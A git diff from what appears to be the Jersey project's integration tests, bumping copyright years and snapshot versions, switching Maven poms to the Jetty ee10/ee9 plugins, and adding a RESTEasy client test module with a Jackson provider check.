diff --git a/tests/integration/reactive-streams/sse/pom.xml b/tests/integration/reactive-streams/sse/pom.xml
index 2230577..2292975 100644
--- a/tests/integration/reactive-streams/sse/pom.xml
+++ b/tests/integration/reactive-streams/sse/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>reactive-streams-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.reactive</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/resteasy-client/pom.xml b/tests/integration/resteasy-client/pom.xml
new file mode 100644
index 0000000..504b4eb
--- /dev/null
+++ b/tests/integration/resteasy-client/pom.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.tests.integration</groupId>
+        <artifactId>project</artifactId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>spring-boot</artifactId>
+
+    <packaging>war</packaging>
+    <name>jersey-tests-integration-spring6</name>
+
+    <description>
+        Jersey tests for Spring.Boot / Resteasy integration
+    </description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.jboss.resteasy</groupId>
+            <artifactId>resteasy-client</artifactId>
+            <version>6.2.11.Final</version>
+            <exclusions>
+                <exclusion>
+                    <artifactId>commons-logging</artifactId>
+                    <groupId>commons-logging</groupId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-servlet</artifactId>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-external</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>commons-logging</groupId>
+            <artifactId>commons-logging</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-failsafe-plugin</artifactId>
+            </plugin>
+        </plugins>
+    </build>
+</project>
diff --git a/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java b/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java
new file mode 100644
index 0000000..de1461f
--- /dev/null
+++ b/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.springboot;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.jackson.internal.DefaultJacksonJaxbJsonProvider;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.jboss.resteasy.client.jaxrs.ResteasyClient;
+import org.jboss.resteasy.client.jaxrs.internal.ResteasyClientBuilderImpl;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.concurrent.CountDownLatch;
+
+public class RestEasyClientTest extends JerseyTest {
+
+    private static final CountDownLatch readFromLatch = new CountDownLatch(1);
+
+    @Path("/")
+    public static class RestEasyClientTestResource {
+        @POST
+        @Path("/test")
+        @Produces(MediaType.APPLICATION_JSON)
+        public String testPost(String echo) {
+            return echo;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(RestEasyClientTestResource.class);
+    }
+
+    @Test
+    public void test() throws InterruptedException {
+        try (final ResteasyClient client = new ResteasyClientBuilderImpl().build()) {
+            client.register(TestDefaultJacksonJaxbJsonProvider.class);
+
+            try (final Response r = client.target(target().getUri()).path("/test")
+                    .request().post(Entity.entity("{\"test\": \"test\"}", MediaType.APPLICATION_JSON))) {
+                Object o = r.readEntity(Object.class);
+                Assertions.assertTrue(o.toString().contains("test"));
+                readFromLatch.await();
+                Assertions.assertEquals(0, readFromLatch.getCount(), "DefaultJacksonJaxbJsonProvider has not been used");
+            }
+        }
+    }
+
+    public static class TestDefaultJacksonJaxbJsonProvider extends DefaultJacksonJaxbJsonProvider {
+        public TestDefaultJacksonJaxbJsonProvider(@Context Providers providers, @Context Configuration config) {
+            super(providers, config);
+        }
+
+        @Override
+        public Object readFrom(Class<Object> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                               MultivaluedMap<String, String> httpHeaders, InputStream entityStream) throws IOException {
+            readFromLatch.countDown();
+            return super.readFrom(type, genericType, annotations, mediaType, httpHeaders, entityStream);
+        }
+    }
+
+}
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml
index c46f761..276d18a 100644
--- a/tests/integration/security-digest/pom.xml
+++ b/tests/integration/security-digest/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>security-digest</artifactId>
@@ -58,15 +58,20 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
 
                 <configuration>
+                    <webApp>
+                        <parentLoaderPriority>true</parentLoaderPriority>
+                    </webApp>
                     <!-- define login service for jetty and the realm to be used -->
                     <loginServices>
                         <loginService implementation="org.eclipse.jetty.security.HashLoginService">
                             <name>my-realm</name>
-                            <config>${basedir}/src/main/resources/jetty/realm.properties</config>
+                            <config implementation="org.eclipse.jetty.ee10.maven.plugin.MavenResource">
+                                <resourceAsString>${basedir}/src/main/resources/jetty/realm.properties</resourceAsString>
+                            </config>
                         </loginService>
                     </loginServices>
                 </configuration>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
index a369114..6b1e7be 100644
--- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-1</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
index 1f068a0..c3a4318 100644
--- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-autodiscovery-2</artifactId>
@@ -67,8 +67,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml
index 2d07e5e..396c2dd 100644
--- a/tests/integration/servlet-2.5-filter/pom.xml
+++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-filter</artifactId>
@@ -60,8 +60,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml
index 2a94b1a..a4d0f5b 100644
--- a/tests/integration/servlet-2.5-inflector-1/pom.xml
+++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-inflector-1</artifactId>
@@ -43,7 +43,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -65,8 +64,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml
index 6a774f3..165eb8f 100644
--- a/tests/integration/servlet-2.5-init-1/pom.xml
+++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-1</artifactId>
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -63,8 +62,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
index c44f34a..d3c0e0e 100644
--- a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
+++ b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -87,7 +87,7 @@
     @Test
     public void testInjection() {
         String s = target().path("servlet_path/helloworld/injection").request().get(String.class);
-        assertEquals("GETtruetestServlet1testServlet1/", s);
+        assertEquals("GETtruetestServlet1testServlet1ROOT", s);
     }
 
     // Reproducer for JERSEY-1801
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml
index a60c25a..7fdd702 100644
--- a/tests/integration/servlet-2.5-init-2/pom.xml
+++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-2</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml
index f9d667b..24b2193 100644
--- a/tests/integration/servlet-2.5-init-3/pom.xml
+++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-3</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml
index cc145f5..1498e81 100644
--- a/tests/integration/servlet-2.5-init-4/pom.xml
+++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-4</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml
index 8df42ce..8bd5555 100644
--- a/tests/integration/servlet-2.5-init-5/pom.xml
+++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-5</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml
index c68d868..1147fc0 100644
--- a/tests/integration/servlet-2.5-init-6/pom.xml
+++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-6</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml
index 4b50bd7..28567bc 100644
--- a/tests/integration/servlet-2.5-init-7/pom.xml
+++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-7</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml
index 2ad88bc..f50bb0e 100644
--- a/tests/integration/servlet-2.5-init-8/pom.xml
+++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-init-8</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml
index 8193179..57d34b3 100644
--- a/tests/integration/servlet-2.5-mvc-1/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-1</artifactId>
@@ -57,7 +57,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -78,8 +77,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee9</groupId>
+                <artifactId>jetty-ee9-maven-plugin</artifactId>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml
index 88ee7f4..43839cf 100644
--- a/tests/integration/servlet-2.5-mvc-2/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-2</artifactId>
@@ -57,7 +57,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -78,8 +77,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml
index 30a7831..3779fbd 100644
--- a/tests/integration/servlet-2.5-mvc-3/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-mvc-3</artifactId>
@@ -57,7 +57,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -78,8 +77,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
